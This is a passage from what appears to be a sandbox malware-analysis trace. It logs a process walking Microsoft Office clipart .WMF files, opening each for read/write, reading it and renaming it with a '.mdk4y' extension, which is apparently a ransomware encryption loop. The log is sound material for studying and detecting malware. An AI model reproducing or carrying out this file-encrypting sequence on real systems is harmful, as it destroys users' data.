lpMultiByteStr="DD01172_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820989000000) returned 1 [0134.660] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b8, lpOverlapped=0x0) returned 1 [0134.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821004000000) returned 1 [0134.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821004000000) returned 1 [0134.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.mdk4y")) returned 1 [0134.811] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.811] AreFileApisANSI () returned 1 [0134.811] GetACP () returned 0x4e4 [0134.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01173_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01173_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.811] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821004200000) returned 1 [0134.812] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x70c, lpOverlapped=0x0) returned 1 [0134.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821016400000) returned 1 [0134.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821016400000) returned 1 [0134.934] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.mdk4y")) returned 1 [0134.935] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.935] AreFileApisANSI () returned 1 [0134.935] GetACP () returned 0x4e4 [0134.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01176_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01176_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.935] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821016500000) returned 1 [0134.935] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x760, lpOverlapped=0x0) returned 1 [0134.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821021800000) returned 1 [0134.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821021800000) returned 1 [0134.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.mdk4y")) returned 1 [0134.992] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.992] AreFileApisANSI () returned 1 [0134.992] GetACP () returned 0x4e4 [0134.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01178_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01178_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821022300000) returned 1 [0134.993] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xed4, lpOverlapped=0x0) returned 1 [0135.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821027100000) returned 1 [0135.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821027100000) returned 1 [0135.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.mdk4y")) returned 1 [0135.042] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.042] AreFileApisANSI () returned 1 [0135.042] GetACP () returned 0x4e4 [0135.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01179_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01179_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.042] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821027300000) returned 1 [0135.043] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e8, lpOverlapped=0x0) returned 1 [0135.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821030400000) returned 1 [0135.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821030400000) returned 1 [0135.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.mdk4y")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.075] AreFileApisANSI () returned 1 [0135.075] GetACP () returned 0x4e4 [0135.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01180_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01180_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.075] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821030600000) returned 1 [0135.076] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x824, lpOverlapped=0x0) returned 1 [0135.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821048200000) returned 1 [0135.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821048200000) returned 1 [0135.253] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.mdk4y")) returned 1 [0135.253] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.253] AreFileApisANSI () returned 1 [0135.253] GetACP () returned 0x4e4 [0135.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01181_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01181_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.253] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821048400000) returned 1 [0135.254] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5a8, lpOverlapped=0x0) returned 1 [0135.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821057100000) returned 1 [0135.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821057100000) returned 1 [0135.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.mdk4y")) returned 1 [0135.342] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.342] AreFileApisANSI () returned 1 [0135.342] GetACP () returned 0x4e4 [0135.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01182_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01182_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821057300000) returned 1 [0135.343] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbb4, lpOverlapped=0x0) returned 1 [0135.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821057800000) returned 1 [0135.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821057800000) returned 1 [0135.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.mdk4y")) returned 1 [0135.349] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.349] AreFileApisANSI () returned 1 [0135.349] GetACP () returned 0x4e4 [0135.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01183_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01183_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.349] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821058000000) returned 1 [0135.350] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8f8, lpOverlapped=0x0) returned 1 [0135.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821078600000) returned 1 [0135.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821078600000) returned 1 [0135.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.mdk4y")) returned 1 [0135.557] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.557] AreFileApisANSI () returned 1 [0135.557] GetACP () returned 0x4e4 [0135.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01186_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01186_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821078800000) returned 1 [0135.558] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2174, lpOverlapped=0x0) returned 1 [0135.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821084000000) returned 1 [0135.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821084000000) returned 1 [0135.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.mdk4y")) returned 1 [0135.611] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.611] AreFileApisANSI () returned 1 [0135.611] GetACP () returned 0x4e4 [0135.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01366_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01366_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.611] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821084200000) returned 1 [0135.612] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e8, lpOverlapped=0x0) returned 1 [0135.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821092100000) returned 1 [0135.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821092100000) returned 1 [0135.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.mdk4y")) returned 1 [0135.692] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.692] AreFileApisANSI () returned 1 [0135.692] GetACP () returned 0x4e4 [0135.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01434_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01434_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821092300000) returned 1 [0135.693] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x384, lpOverlapped=0x0) returned 1 [0135.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821107300000) returned 1 [0135.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821107300000) returned 1 [0135.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.mdk4y")) returned 1 [0135.844] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0135.844] AreFileApisANSI () returned 1 [0135.844] GetACP () returned 0x4e4 [0135.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01585_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01585_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0135.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0135.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821107500000) returned 1 [0135.845] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9dc, lpOverlapped=0x0) returned 1 [0136.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821171100000) returned 1 [0136.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821171100000) returned 1 [0136.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.mdk4y")) returned 1 [0136.482] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.482] AreFileApisANSI () returned 1 [0136.482] GetACP () returned 0x4e4 [0136.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01586_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01586_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821171300000) returned 1 [0136.483] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x914, lpOverlapped=0x0) returned 1 [0136.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821178300000) returned 1 [0136.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821178300000) returned 1 [0136.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.mdk4y")) returned 1 [0136.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.554] AreFileApisANSI () returned 1 [0136.554] GetACP () returned 0x4e4 [0136.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01628_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01628_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 